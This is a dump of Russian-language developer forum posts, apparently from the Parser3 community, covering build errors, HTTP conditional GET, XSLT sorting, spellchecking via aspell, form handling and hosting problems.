lt_cv_global_symbol_to_cdecl='sed -n -e '\\''s/^. .* \\(.*\\)$/extern char \\1;/p'\\'''\
lt_cv_ld_reload_flag=-r\
lt_cv_path_LD=/usr/bin/ld\
lt_cv_path_NM='/usr/bin/nm -B'\
lt_cv_path_SED=/bin/sed\
lt_cv_prog_gnu_ld=yes\
lt_cv_sys_global_symbol_pipe='sed -n -e '\\''s/^.*[ 	]\\([ABCDGISTW][ABCDGISTW]*\\)[ 	][ 	]*\\(\\)\\([_A-Za-z][_A-Za-z0-9]*\\)$/\\1 \\2\\3 \\3/p'\\'''\
\
## ----------------- ##\
## Output variables. ##\
## ----------------- ##\
\
ACLOCAL='${SHELL} /home/qha/parser3mysql-3.1.HEAD/missing --run aclocal-1.7'\
AMDEPBACKSLASH='\\'\
AMDEP_FALSE='#'\
AMDEP_TRUE=''\
AMTAR='${SHELL} /home/qha/parser3mysql-3.1.HEAD/missing --run tar'\
AUTOCONF='${SHELL} /home/qha/parser3mysql-3.1.HEAD/missing --run autoconf'\
AUTOHEADER='${SHELL} /home/qha/parser3mysql-3.1.HEAD/missing --run autoheader'\
AUTOMAKE='${SHELL} /home/qha/parser3mysql-3.1.HEAD/missing --run automake-1.7'\
AWK='gawk'\
CC='gcc'\
CCDEPMODE='depmode=gcc3'\
CFLAGS='-g -O2'\
CPP='/lib/cpp'\
CPPFLAGS=''\
CXX='g++'\
CXXDEPMODE='depmode=gcc3'\
CXXFLAGS='-g -O2'\
CYGPATH_W='echo'\
DEFS=''\
DEPDIR='.deps'\
ECHO='echo'\
ECHO_C=''\
ECHO_N='-n'\
ECHO_T=''\
EGREP=''\
EXEEXT=''\
INCLTDL='-I${top_srcdir}/libltdl'\
INSTALL_DATA='${INSTALL} -m 644'\
INSTALL_PROGRAM='${INSTALL}'\
INSTALL_SCRIPT='${INSTALL}'\
INSTALL_STRIP_PROGRAM='${SHELL} $(install_sh) -c -s'\
LDFLAGS=''\
LIBADD_DL=''\
LIBLTDL='${top_builddir}/libltdl/libltdlc.la'\
LIBOBJS=''\
LIBS=''\
LIBTOOL=''\
LN_S='ln -s'\
LTLIBOBJS=''\
MAKEINFO='${SHELL} /home/qha/parser3mysql-3.1.HEAD/missing --run makeinfo'\
MYSQL_INC='/home/qha/include'\
OBJEXT='o'\
PACKAGE='parser3mysql'\
PACKAGE_BUGREPORT=''\
PACKAGE_NAME=''\
PACKAGE_STRING=''\
PACKAGE_TARNAME=''\
PACKAGE_VERSION=''\
PATH_SEPARATOR=':'\
RANLIB=''\
SET_MAKE=''\
SHELL='/bin/sh'\
STRIP=''\
VERSION='3.1.HEAD'\
ac_ct_CC='gcc'\
ac_ct_CXX='g++'\
ac_ct_RANLIB=''\
ac_ct_STRIP=''\
am__fastdepCC_FALSE='#'\
am__fastdepCC_TRUE=''\
am__fastdepCXX_FALSE='#'\
am__fastdepCXX_TRUE=''\
am__include='include'\
am__leading_dot='.'\
am__quote=''\
bindir='${exec_prefix}/bin'\
build='x86_64-unknown-linux-gnu'\
build_alias=''\
build_cpu='x86_64'\
build_os='linux-gnu'\
build_vendor='unknown'\
datadir='${prefix}/share'\
exec_prefix='NONE'\
host='x86_64-unknown-linux-gnu'\
host_alias=''\
host_cpu='x86_64'\
host_os='linux-gnu'\
host_vendor='unknown'\
includedir='${prefix}/include'\
infodir='${prefix}/info'\
install_sh='/home/qha/parser3mysql-3.1.HEAD/install-sh'\
libdir='${exec_prefix}/lib'\
libexecdir='${exec_prefix}/libexec'\
localstatedir='${prefix}/var'\
mandir='${prefix}/man'\
oldincludedir='/usr/include'\
prefix='NONE'\
program_transform_name='s,x,x,'\
sbindir='${exec_prefix}/sbin'\
sharedstatedir='${prefix}/com'\
subdirs=''\
sysconfdir='${prefix}/etc'\
target_alias=''\
\
## ----------- ##\
## confdefs.h. ##\
## ----------- ##\
\
#define PACKAGE_BUGREPORT \"\"\
#define PACKAGE_NAME \"\"\
#define PACKAGE_STRING \"\"\
#define PACKAGE_TARNAME \"\"\
#define PACKAGE_VERSION \"\"\
#endif\
#ifdef __cplusplus\
void exit (int);\
\
configure: exit 1\
[/code]\
\
но самое интересное в строках типа\
\
[code]conftest.cc:10:20: stdlib.h: No such file or directory[/code]\
\
что бы это значило? что у хостера кривой срр? Подскажите, плиз - 2-ой день вожусь("
"56368","Во-первых, скрипт берёт не одно, а несколько первых предложений общей длиной не более 200 знаков.\
\
Во-вторых, как я уже [url=http://www.parser.ru/forum/?id=56324]писал[/url], в моём проекте почти все публикации начинаются с вводного абзаца (он выделяется полужирным). Обычно он даёт первое впечатление о статье. Почему бы не использовать его в качестве description?\
\
В третьих, keywords таки [url=http://www.ebanners.ru/viewtopic.php?t=209]учитываются[/url] некоторыми поисковыми системами."
"56369","Вот возникла проблема при чтении парсером бд. Не правильно определяются кодировки в рез-те вмето текста знаки вопроса.\
вопрос: где можно настроить кодировки в парсере или нужно менять кодировку бд?"
"56370","Если верить PAFу, возиться с сабжем не стоит, т. к. браузер [url=http://www.parser.ru/forum/?id=24134]сам всё сделает[/url]. Тем не менее Яндекс [url=http://webmaster.yandex.ru/faq.xml?id=502475#howtohelp]советует[/url] (да и Google [url=http://www.google.com/support/webmasters/bin/answer.py?answer=35769]рекомендует[/url]) обрабатывать If-Modified-Since.\
\
Для этой цели и был написан следующий метод.\
\
[code]@ifModified[jCode]\
^if($response:[last-modified] is date){\
	$response:last-modified[^dtf:to822[$response:last-modified]]\
}\
^if(\
	$env:REQUEST_METHOD eq GET\
&&\
	(!$response:status || $response:status == 200)\
&&\
	($env:HTTP_IF_NONE_MATCH eq '*'\
	|| def $response:etag && $response:etag eq $env:HTTP_IF_NONE_MATCH\
	|| def $response:[last-modified]\
	&& $response:[last-modified] eq $env:HTTP_IF_MODIFIED_SINCE)\
){\
	$response:status(304)\
}{\
	$result[$jCode]\
}[/code]\
\
Для корректной работы необходимо указать $response:last-modified и/или $response:etag в любом из методов @auto[]. Для last-modified лучше всего подходит $file.mdate или значение столбца timestamp в бд. В качестве etag может служить md5-отпечаток текста или тот же last-modified, заключённый в кавычки.\
\
Вызывается метод так:\
\
[code]@main[]\
^ifModified{\
	...\
}[/code]\
\
См. также:\
[url=http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html]Header Field Definitions[/url]\
[url=http://xpoint.ru/know-how/VebAlgoritmyi/ConditionalGet?comments]Обсуждение Conditional GET[/url]"
"56371","их инструкции касаются настройки серверов.\
\
апач это делает сам (по крайней мере тот, с которым работаем мы, но не думаю что наши админы что-то там подкручивали для этого).\
\
возьмите снифер и посмотрите. (я смотрел: в моем случае апач и заголовки сам модифицирует и контент не передает броузеру)."
"56372","Может быть кто-нибудь реализовывал расстановку пробелов в денежных суммах, к примеру чтобы автоматически вместо 12000 выводилось 12 000? Если да, поделитесь, пожалуйста, решением.\
Думаю, также будут уместны и комментарии о необходимости\\бесполезности таких манипуляций с суммами.\
\
Заранее благодарю."
"56374","Но к SEO всё это имеет слабое отношение."
"56375","Apache (по крайней мере у меня, .masterhost) действительно сам обрабатывает If-Modified-Since, но не If-None-Match. Причём, наличие последнего отменяет действие первого. Странно..."
"56377","установить эту ось локально и компилируйте что хотите"
"56379","XML:\
\
[code]<?xml version='1.0' encoding='utf-8'?>\
<test>\
<item>&#224;</item>\
<item>e</item>\
<item>u</item>\
<item>s</item>\
<item>v</item>\
<item>&#246;</item>\
<item>&#232;</item>\
<item>a</item>\
<item>&#252;</item>\
<item>&#223;</item>\
<item>o</item>\
<item>p</item>\
</test>[/code]\
\
XSLT:\
[code]<xsl:template match='/test'>\
	<xsl:for-each select='item'>\
		<xsl:sort select='text()' lang='de'/>\
		<xsl:value-of select='text()'/>\
	</xsl:for-each>\
</xsl:template>[/code]\
\
Результат:\
[code]aeopsuv&#223;&#224;&#232;&#246;&#252;[/code]\
\
Можно ли как-то добиться [url=http://www.parser.ru/forum/?id=36442]аккуратной сортировки[/url], или таки просить хостера поставить MySQL 4.1?"
"56380","... конф. auto.p в папке Parser3, где лежит parser3isapi.dll?\
А когда корне - выдает ошибку: $SQL:drivers table must be defined. В ФАКью говорится, что конф не подрубился.\
Может дело в \"безопасности\" файла?"
"56381","Сортировка произведена согласно настройки вашего сервера.\
\
Если вы хотите поменять порядок сортировки, используйте атрибут lang.\
\
Сопутствующие ссылки:\
http://www.citforum.ru/internet/xslt/xslt10.shtml\
Значения lang:\
http://www.ietf.org/rfc/rfc1766.txt"
"56382","Вот собственно и вопрос... что быстрее?\
У меня такая задача,\
если URL начинается с /test, то во всех ссылках добавлять это слово. Что будет работать быстрее вот это:\
[code]<xsl:variable name=\"url\"><xsl:value-of select=\"site/page/url\"/></xsl:variable> <!-- эта строка нужна много где, я её привёл, чтоб было понятно откуда $url -->\
...\
<xsl:if test=\"starts-with($url,'/test')\">/test</xsl:if>[/code]\
или\
[code]^if(^str.match[^^/test][i]){/test}[/code]\
\
Возможно вопрос выеденного яйца не стоит, но почему-то у меня есть предположение, что предпочтительно это делать в XSL. Почему у меня такое мнение? - Мне кажется в parser для xsl трансформации используется какой-то стандартный хорошо оптимизированный алгоритм (код), который используется в большинстве языков программирования...\
\
Верные ли у меня мысли?"
"56383","В общем всё просто, нужно открыть файл с другого сервера для чтения.\
Комбинация\
[code]^file::load[binary;http://www.site.ru][/code]\
вполне подходит, но что делать если [i]site.ru[/i] не существует или не открывается?\
\
моментально вылетает \"[i]Unhandled Exception[/i]\" с которой никак не могу справиться.\
и [i]^try[/i] пробовал и [i]def[/i]'ами, не помогает ничто, или руки кривые?"
"56384","Использую такой код:\
[code]\
$fSpell[^file::exec[$sScriptPath/$sScriptFilename;\
	$.CGI_SPELL_FILE[$sTempPath/$sTempFilename]\
	$.CGI_SPELL_DICT[$sDictionary]\
]]\
[/code]\
\
Вызываю aspell.sh следующего содержания:\
[code]\
#!/bin/sh\
\
#export PATH=/usr/local/bin:/usr/bin;\
\
export LC_ALL=en_US.utf8;\
\
locale;\
\
if [ ! \"$CGI_SPELL_DICT\" = \"\" ]; then\
	export SPELL_DICT=\"-d $CGI_SPELL_DICT\"\
fi\
\
if [ \"$CGI_SPELL_FILE\" = \"\" ]; then\
	echo ERROR: temporary file not specified;\
else\
	echo \"run: aspell -a $SPELL_DICT < $CGI_SPELL_FILE\";\
	exec aspell -a $SPELL_DICT < $CGI_SPELL_FILE;\
fi\
[/code]\
\
Получаю результат:\
[code]\
LANG=\
LC_CTYPE=\"en_US.utf8\"\
LC_NUMERIC=\"en_US.utf8\"\
LC_TIME=\"en_US.utf8\"\
LC_COLLATE=\"en_US.utf8\"\
LC_MONETARY=\"en_US.utf8\"\
LC_MESSAGES=\"en_US.utf8\"\
LC_PAPER=\"en_US.utf8\"\
LC_NAME=\"en_US.utf8\"\
LC_ADDRESS=\"en_US.utf8\"\
LC_TELEPHONE=\"en_US.utf8\"\
LC_MEASUREMENT=\"en_US.utf8\"\
LC_IDENTIFICATION=\"en_US.utf8\"\
LC_ALL=en_US.utf8\
run: aspell -a -d ru < /home/labour/data/tmp/spellcheck.txt\
@(#) International Ispell Version 3.1.20 (but really Aspell 0.61-cvs)\
*\
& собакак 3 4: собака, собаках, собакам\
& бегакт 22 12: бегают, бегает, бег акт, бег-акт, бегать, бегаете, бегайте, бегаю, бегай, бегал, бегая, богат, легат, регат, бегаем, бегала, бегали, бегало, теракт, легато, регата, богатый\
*\
+ быстрый\
*\
+ деревня\
\
& Дони 40 1: Одни, Дохни, Донги, Донки, Доньи, До ни, До-ни, Дни, Дои, Дон, Они, Дани, Доги, Дохи, Доки, Доли, Дона, Доне, Донг, Донн, Дону, Доны, Дожи, Дыни, Гони, Кони, Пони, Сони, Вони, Дуни, Тони, Донный, Одень, Добить, Долить, Донять, Допить, Дошить, Фонить, Доешь\
& Браско 91 6: Броско, Барскою, Барское, Барской, Барском, Басок, Братскою, Братское, Братской, Братском, Баском, Басков, Браком, Браков, Раскол, Раскоп, Братск, Барски, Баск, Брак, Браток, Бросок, Брусок, Красок, Брассом, Братком, Братков, Братски, Бражкою, Бражкой, Броскою, Броское, Броской, Броском, Бросков, Бруском, Брусков, Краскою, Краской, Братска, Братске, Братску, Банко, Баска, Баске, Баски, Баску, Брака, Браке, Браки, Браку, Брасс, Браво, Брюшко, Брасса, Брассе, Брассу, Братка, Братке, Братки, Братку, Бражка, Бражке, Бражки, Бражку, Броска, Броске, Броски, Броску, Бруска, Бруске, Бруски, Бруску, Фиаско, Франко, Краска, Краске, Краски, Краску, Красно, Кратко, Тряско, Барский, Барка, Братский, Раскат, Раскис, Раса, Баранка, Броский, Бабка\
& неплахой 19 16: неплохой, не плахой, не-плахой, непалкой, плахой, неплавкой, неуплатой, неплохо, неплохою, неплохое, неплохом, неправой, неслабой, неплавкий, неправый, неслабый, непалка, плаха, неуплата\
& амереканскии 6 25: американскими, американски, американские, американских, американский, американским\
*\
[/code]\
\
Но если закоментировать \"export LC_ALL\", то я не увижу ни одной русской буквы:\
[code]\
LANG=\
LC_CTYPE=\"POSIX\"\
LC_NUMERIC=\"POSIX\"\
LC_TIME=\"POSIX\"\
LC_COLLATE=\"POSIX\"\
LC_MONETARY=\"POSIX\"\
LC_MESSAGES=\"POSIX\"\
LC_PAPER=\"POSIX\"\
LC_NAME=\"POSIX\"\
LC_ADDRESS=\"POSIX\"\
LC_TELEPHONE=\"POSIX\"\
LC_MEASUREMENT=\"POSIX\"\
LC_IDENTIFICATION=\"POSIX\"\
LC_ALL=\
run: aspell -a -d ru < /home/labour/data/tmp/spellcheck.txt\
@(#) International Ispell Version 3.1.20 (but really Aspell 0.61-cvs)\
*\
*\
*\
...\
*\
*\
*\
& г&#65533; 4 26: &#65533;&#65533;&#65533;, &#65533;&#65533;&#65533;, &#65533;&#65533;&#65533;, &#65533;&#65533;&#65533;\
*\
*\
...\
[/code]\
\
Пробовал добавить $.charset[UTF-8], результат был таким же. На самом деле смущают значения POSIX... Может я что-то забыл? Или же это связано с тем, что Парсер не особо на \"ты\" с UTF-8?\
\
\
Дополнительная информация.\
Версия Parser: 3.2.1sp2 (compiled on i686-pc-linux-gnu).\
Значения $request:charset и $response:charset: по умолчанию (UTF-8)."
"56386","Ой, ребят, спасибо... Оказывается мне только намёк нужен был. Всё работает с try, Спасибо огромное!"
"56387","зачем весь этот огород с кодировками, так и не понял.\
Единственное что я в дополнении указываю кодировку, т.к. у меня на сайте win-1251:\
[code]\
$f[^file::exec[/../bin/ispell;$.stdin[слово]$.charset[koi8-r];-d;/home/путь/ispell/russian;-a]]\
[/code]"
"56388","чтобы xsl-ю передать готовые данные без необходимости что-либо менять. По этой теме уже писали, Миша очень подробно ответил, но я к сожалению не могу найти тред..."
"56391","Разве это не атрибут lang:\
\
[code]<xsl:sort select='text()' [b]lang='de'[/b]/>[/code]"
"56392","[url=\"http://www.parser.ru/forum/?id=55964\"]http://www.parser.ru/forum/?id=55964[/url]\
\
[code]@tidy[s]\
$s[^s.match[<dr>][gi]{<br>}]\
$f[^file::exec[tidy;\
	$.stdin[$s]\
;-config;tidy.cfg]]\
$result[^taint[$f.text]]\
^if(!def $result){\
	^throw[tidy.error;$f.stderr (status=$f.status)----------------$s]\
}[/code]\
\
tidy.cfg:\
[code]\
tidy-mark: false\
word-2000: true\
output-xhtml: true \
show-body-only: true\
drop-empty-paras: false\
quote-ampersand: false\
wrap: 0\
char-encoding: raw\
[/code]\
\
при такой конфигурации Tidy заменяет все сущности на символы,\
как заставить преобразовывать сущности к цифровым аналогам (&nbsp; -> &#160;)\
при указании других кодировок сущности заменяются, но windows-1251 tidy не понимает, заменяет русские символы на мусор"
"56393","Т.к. с XSLT я начал работать недавно, постоянно встаю перед выбором: что сделать Парсером, а что XSL-трансформацией.\
\
Очень хотелось бы увидеть подробные рекомендации уважаемых \"Атцов\" - что считается хорошим тоном, чему отдавать предпочтение.\
\
Научите, пожалуйста!"
"56400","[quot]\
при такой конфигурации Tidy заменяет все сущности на символы,\
[/quot]\
\
странно, у меня вроде все ок. на всякий случай мои настройки для tidy:\
output-xhtml: yes\
tab-size: 4\
wrap: 0\
hide-endtags: yes\
quiet: yes\
add-xml-decl: no\
add-xml-space: no\
bare: yes\
doctype: omit\
drop-font-tags: yes\
fix-backslash: yes\
fix-bad-comments: yes\
fix-uri: yes\
lower-literals: yes\
show-body-only: yes\
//break-before-br: yes\
indent: auto\
force-output: yes\
markup: yes\
show-warnings: no\
//char-encoding: utf8\
char-encoding: raw\
drop-empty-paras: false\
word-2000: true\
tidy-mark: false\
\
[quot]\
как заставить преобразовывать сущности к цифровым аналогам (&nbsp; -> &#160;)\
[/quot]\
\
есть в доке, только зачем?\
\
[quot]\
при указании других кодировок сущности заменяются, но windows-1251 tidy не понимает, заменяет русские символы на мусор\
[/quot]\
\
utf-8 никто не отменял, а её знают и tidy и парсер."
"56401","по моему нет => вы пытаетесь оптимизировать что-то раньше времени, что для большинства веб-задач не есть хорошо. думаю тут никто не сравнивал производительность подобных решений, если вам надо - возьмите и сравните (lib.p/@run_time[] вам в руки)\
\
лучше делайте так, как вам удобнее и понятнее. и делайте так чтобы получался хорошо структурированный и читаемый код. в этом случае если (именно если, а не _когда_) вы столкнётесь с проблеммами производительности вам будет легко найти и устранить узкие места.\
\
со ссылками мы обычно делаем так: в xml выдаются элементы с @href, а те из них, которые должны быть \"помечены\" - имеют дополнительный аттрибут @selected. xsl занимается тем что оформляет ссылку - или выводит её жирным (если мы в подразделе), или выводит без @href (если мы на странице куда ведёт эта ссылка)\
\
\
[quot]\
Мне кажется в parser для xsl трансформации используется какой-то стандартный хорошо оптимизированный алгоритм (код), который используется в большинстве языков программирования...\
[/quot]\
\
используется libxml. работа с xml всегда медленна (за удобство приходится платить), однако самые медленные операции - создание xdoc объектов (документа и шаблона).\
\
\
P.S. приведенная вами конструкция с match - ужасна. во первых проверять начинается ли строка с подстроки лучше используя .pos, а во вторых - зачем это вообще делать?"
"56402","хочу отписаться от рассылки сообщений форума"
"56403","На самом деле это коды взятые просто из головы. Я просто хотел узнать, где лучше делать логику. Допустим та же группировка Мюнха... подобное можно сделать и на парсере и на xsl. Где подобная задача будет более быстро работать в парсере или xsl? Или допустим сортировка обычная... её всегда можно сделать в xsl? а можно и в parser...\
\
ps: видимо я просто задал не правильный вопрос с if..."
"56404","Накладываю одну картинку на другую. Использую метод copy, получаю ошибку:\
[b]\
copy\
using unitialized image object\
[/b]\
\
С чем это связано? Искал на форуме, не нашел.."
"56406","Я делаю так:\
\
<xsl:variable name=\"prefix\">\
<xsl:if ...>/test</xsl:if>\
</xsl:variable>\
\
...\
\
<a href=\"{$prefix}{$uri}\">"
"56408","[code]\
$stamp[^image::load[/admin/cp/stamp.gif]]\
	\
^form:pict.save[binary;/image/models/stamped/${id}.jpg]\
$big[^image::measure[/image/models/stamped/${id}.jpg]]\
\
$x2($stamp.width-92)\
$y2($stamp.height-11)\
\
^big.copy[$stamp](0;0;90;9;$x2;$y2)\
^big.save[binary;/image/models/${id}.jpg][/code]"
"56409","я не помню чтоб можно было копировать этот формат. Только gif."
"56410","а как можно на jpg наложить картинку тогда?"
"56411","для каждой задачи и каждой реализации ответ будет своим.\
\
P.S. я почти не использую парсерный .sort (sql рулез)"
"56413","ясно... в общем лучше по максимуму задействовать sql... типа снять загрузку с parser... и так как \"работа с xml всегда медленна\" логику желательно делать в parser-e...\
спасибо... :)"
"56414","В таблице price БД есть поле cost хранящее цену товара,пожалуйста поясните как посчитать сумму по полям cost?\
Наверняка на этот вопрос есть вполне простой ответ, но, к сожалению, я не могу его найти (в документации о суммировании я ничего ен нашел)."
"56416","Как ведет себя Парсер, если из формы передается следующее:\
[code]<input name=\"uploadfile[]\" type=\"file\">\
<input name=\"uploadfile[]\" type=\"file\">\
<input name=\"uploadfile[]\" type=\"file\">[/code]\
??\
\
В php есть возможность такой \"пакетной\" загрузки файлов.\
В Парсере пока получается работать только с первым файлом.\
\
Альтернативные решения вижу, но хотелось бы сделать красиво.\
В Яндексе вообще вот так:\
[code]<input type=\"file\" size=\"15\" name=\"att\">\
<input type=\"file\" size=\"15\" name=\"att\">\
<input type=\"file\" size=\"15\" name=\"att\">[/code]\
Без индексов и без массивов..."
"56417","сейчас вот так делаю:\
\
[code]/* сохранение кучи файлов */\
^form:fields.foreach[field;value]{ \
	$field\
	^if(^field.match[ \
		file_ 	# есть префикс \
		[0-9]+ 	# и номер файла\
	][x]){\
		^form:$field.save[binary;${path}/$form:$field.name]\
	}\
}[/code]"
"56418","[code]$my_scroller[^scroller::init[$messages_count;-1;page]][/code]\
=>\
[quote]You have an error in your SQL syntax[/quote]\
Почему?"
"56419","http://www.parser.ru/forum/?id=55517"
"56421","в этом месте должно быть число, показывающее количество сообщений на страницу, что написано [url=\"/examples/mscroller/\"]в примере[/url].\
\
в любом случае scroller.p не делает никаких запросов, т.е ошибка появляется позже, например в последующем sql запросе, о чем вам парсер сообщил, указав строку где она возникла."
"56422","[Thu Oct 19 14:08:30 2006] [1392] /index.html: post_size(0) != content_length(67) [<no type>] \
\
Вот такая ошибка в логах!\
Ни одна форма на сайте теперь не работает.\
Т.е. Парсер не хотит обрабатывать (принимать) запрос или что-то ещё.\
До 19.10.2006 полтора года работал как часы.\
Хостинг провайдер никуда не переезжал и т.д. \
Нашел похожую проблему здесь:\
http://parser.groundzero.ru/148/16848/2/\
Даже PAF участвовал, но решения и причин так и не нашел.\
Если кто сталкивался, то пожалуйста подскажите как избавиться."
"56423","Работающий громозкий код.\
\
[code]$sum[^eval(\
$form:a1+$form:a2+$form:a3+$form:a4+$form:a5+\
$form:a6+$form:a7+$form:a8+$form:a9+$form:a10+\
$form:a11+$form:a12+$form:a13+$form:a14+$form:a15+\
$form:a16+$form:a17+$form:a18+$form:a19+$form:a20+\
$form:a21+$form:a22+$form:a23+$form:a24+$form:a25+\
$form:a26+$form:a27+$form:a28+$form:a29+$form:a30+\
$form:a31+$form:a32+$form:a33+$form:a34+$form:a35+\
$form:a36+$form:a37+$form:a38+$form:a39+$form:a40+\
$form:a41+$form:a42+$form:a43+$form:a44+$form:a45+\
$form:a46)][/code]\
\
Пытаюсь сделать так:\
\
^form:fields.foreach[field;value]{\
$plus[$form:a$value]\
$sum($sum + ^plus.int(0))}\
\
НЕ работает. Куда копать?"
"56424","1.\
[code]\
$iSum(0)\
^for[i](1;46){\
	^iSum.inc(^form:[a$i].int(0))\
}\
[/code]\
\
\
2.\
[code]\
$iSum(0)\
^form:fields.foreach[sKey;sValue]{\
	^if(^sKey.left(1) eq \"a\"){\
		^iSum.inc(^sValue.int(0))\
	}\
}\
[/code]\
\
\
3. если избавиться от a1, a2, a3..., назвав все эти поля 'a' и:\
[code]\
$iSum(0)\
^form:tables.a.menu{\
	^iSum.inc(^form:tables.a.field.int(0))\
}\
[/code]"
"56425","Видимо, количество способов велико :)\
\
[code]$ct(0)\
^while($ct < ^vo.count[]){\
^ct.inc(1)\
$plus[^form:vp_$ct.int(0)]\
$sum1($sum1+$plus)\
}[/code]\
\
Работающий код. Для обработки цикла любой длины."
"56426","Скажите, пожалуйста, куда тогда указывать -1?"
"56428","внимательней пересмотрел.\
\
но при\
\
[code]$my_scroller[^scroller::init[$messages_count;1;;-1;page]][/code]\
\
сообщения не листаются. т.е. показывается одно и то же, на ?page=n не реагирует.\
\
при \
\
[code]$my_scroller[^scroller::init[$messages_count;1;page]][/code]\
\
все нормально."
"56430","^if(!def $page) смотрел"
"56431","Господа, нет ли у кого базы стран и городов (с привязкой города к стране)?\
\
Желательно максимальное использование русского языка и вменяемые названия этих самых городов и стран, чтоб без «Fraccionamiento Camino del Andaluz y R ochenta y cuatro» (это название города в Уругвае из базы с сайта http://www.world-gazetteer.com/)."
"56432","По ссылке дамп базы http://www.w-t-e.ru/dump.sql\
Доступен будет с недельку.\
\
База актуальная, довольно полная, но содержит некоторое кол-во дубляжа, поработать с ней придеться самому.\
Понять структуру не сложно из контекста."
"56433","Никак не получается сделать чтобы картинка заменялась на другую после обновления страницы. Или хотябы просто показывалась случайная."
"56436","и, если не секрет, кто составитель базы?\
наверняка делалась по интернациональной (английской) версии."
"56437","База не плохая, но есть населённые пункты которые не относятся ни к одному региону и, соответственно, стране. Ещё структура у неё очень плохая, но это я поправил. Могу выложить, что получилось. Только там нужно почистить те места, когда на всю страну существует один регион=самой стране. Здесь нужно город привязать лько к стране а регион не указыывать"
"56438","Подскажите, пожалуйста, как можно парсером запустить внешний скрипт и не дожидаться после этого завершения его работы, т.е. запустили и забыли (пошли дальше)?"
"56442","PAF, КТО-НИБУДЬ! В чем может быть проблема??? Как можно избавиться???\
У меня просто ни одной мысли нет.\
Новую версию пробовать ставить не могу, т.к. половина кода не будет работать!!! \
Хоть что-нить ответьте пожалуйста!!!"
"56443","задача: на основе строки примеру такого вида:\
[code]\
	key1[value1] key2[value2]\
	key3[key4[value4] \
key5[value5]]\
	key6[value6]\
[/code]\
\
создать такой хэш:\
[code]\
$hash[^hash::create[\
  $.key1[value1]\
  $.key2[value2]\
  $.key3[^hash::create[\
    $.key4[value4]\
    $.key5[value5]    \
  ]]\
  $.key6[value6]\
]]\
[/code]\
\
я пытаюсь сделать так:\
\
[code]\
@main[]\
$sParams[\
	key1[value1] key2[value2]\
	key3[key4[value4] \
key5[value5]]\
	key6[value6]\
]\
$_tDub[^sParams.split[^]]]\
$_hParams[^getParams[]]\
\
@getParams[name;value]\
$result[\
	^hash::create[\
		^if(def $name && def $value){$.[$name][$value]}\
		^while(^_tDub.piece.length[]){\
			$_tTemp[^_tDub.piece.split[^[;h]]\
			$.[^_tTemp.0.trim[;\
	 		]][\
				^if(def $_tTemp.2){\
				^getParams[$_tTemp.1;$_tTemp.2]\
				}{$_tTemp.1}\
			]\
		^_tDub.offset(1)\
		}\
	]\
]\
[/code]\
\
в лог валится ошибка: \
[b][Sat Oct 21 23:41:28 2006] [error] [client 127.0.0.1] Premature end of script headers: /home/cgi-glob/parser3/parser3_wrapper.exe[/b]\
\
подскажет кто нибудь?"
"56444","черт ошибка в одной строчке была, не в том месте offset поставил\
\
вот исправленный код:\
[code]\
$sParams[\
key1[value1] key2[value2]\
	key3[key4[value4] \
key5[value5]\
]\
	key6[value6]\
]\
\
$_tDub[^sParams.split[^]]]\
^_tDub.append{^taint[^#0A]}\
$_hParams[^getParams[]]\
@getParams[name;value]\
$result[\
	^hash::create[\
		^if(def $name && def $value){$.[$name][$value]}\
		^while(def ^_tDub.piece.trim[start; 	\
]){\
			$_tTemp[^_tDub.piece.split[^[;h]]\
			^_tDub.offset(1)\
			$.[$_tTemp.0][^if(def $_tTemp.2){\
				^getParams[$_tTemp.1;$_tTemp.2]\
				^_tDub.offset(1)\
			}{$_tTemp.1}]\
		}\
	]\
]\
[/code]\
\
думаю код не самый лучший хоть и работает, с удовольствием послушаю предложения об оптимизации"
"56445","Необходимо проверить текст с формы на мат. Если не находит, то данные в бд, если находит... Как это можно лучше реализовать?\
\
[code]\
$antimat[^table::load[nameless;antimat.cfg]]\
$text[$form:text] \
\
$ch[^antimat.menu{			\
	^if(^text.match[\
		\\b([а-я]*?${antimat.0}[а-я]*?)\\b\
	][x]){close}{ok}\
}]\
\
^if(^ch.match[ \
	\\b([a-z]*?close[a-z]*?)\\b\
][x]){не отправлять}{отправить}\
[/code]"
"56447","строку в парсерном формате преобразовать к хешу проще: ^process{} и все."
"56449","код использую такой:\
[code]\
# обработка параметров\
@getSystemParams[sParams][_hParams]\
$_tDub[^sParams.split[^]]]\
^_tDub.append{^taint[^#0A]}\
$result[^getParams[]]\
#end @getSystemParams[sParams]\
@getParams[name;value]\
$result[\
	^hash::create[\
		^if(def $name && def $value){$.[$name][$value]}\
		^while(def ^_tDub.piece.trim[start; 	^taint[^#0A]]){\
			$_tTemp[^_tDub.piece.split[^[;h]]\
			^_tDub.offset(1)\
			$.[^_tTemp.0.trim[start; 	^taint[^#0A]]][^if(def $_tTemp.2){^getParams[^_tTemp.1.trim[start; 	^taint[^#0A]];$_tTemp.2]^_tDub.offset(1)}{$_tTemp.1}]\
		}\
	]\
]\
[/code]\
\
данные получаю с помощью мишиного класса работы с SQL из примеров, используя присутствующее в нем кэширование\
так вот когда данные(параметры из которых надо создать хэш) приходят из SQL (файла кэша нету) метод [b]не работает[/b], а когда файл кэша создан (второй вызов и далее) метод работает.\
\
Ну каким образом наличие кэш файла может быть связано с обработкой строк? :) и как это вылечить?"
"56450","Internal Server Error\
The server encountered an internal error or misconfiguration and was unable to complete your request.\
Please contact the server administrator, root@majordomo.ru and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the server error log.\
\
\
\
--------------------------------------------------------------------------------\
\
Apache/1.3.34 Server at www.msh.ru Port 80\
\
\
в папке вне веб-пространства в файлах\
\
[b]www.msh.ru-error_log[/b] :\
/usr/libexec/ld-elf.so.1: Shared object \"libcrypt.so.2\" not found, required by \"parser3.cgi\"\
[Sun Oct 22 20:23:55 2006] [error] [client 222.239.127.146] Premature end of script headers: /home/mshru/www/cgi-bin/parser3.cgi\
\
последняя запись в лог файле парсера в cgi-bin:\
[Sat Oct 21 01:16:41 2006] /guestbook/form.html?id=114: /home/mshru/www/../classes/m_classes/operators.p(4:2): 'mysql://****@81.177.16.247/mshru' Too many connections [sql.connect]\
\
Письмо прислали такое недавно:\
[i]Уважаемые клиенты Majordomo.ru, \
\
имеющие аккаунт на сервере 81..177.16.40.\
\
Сообщаем, что в связи с проводимыми нами плановыми работами по апгрейду данного сервера,\
\
ночью с 18 на 19 октября 2006г. (со среды на четверг)\
\
сайты некоторое время будут недоступны.\
\
Работы почты это не коснется.[/i]\
\
Но уже то 23 окт. Да еще и не отвечают\
Кто что может сказать.."
"56451","Использую всем известный класс auth.p. Есть вопрос:\
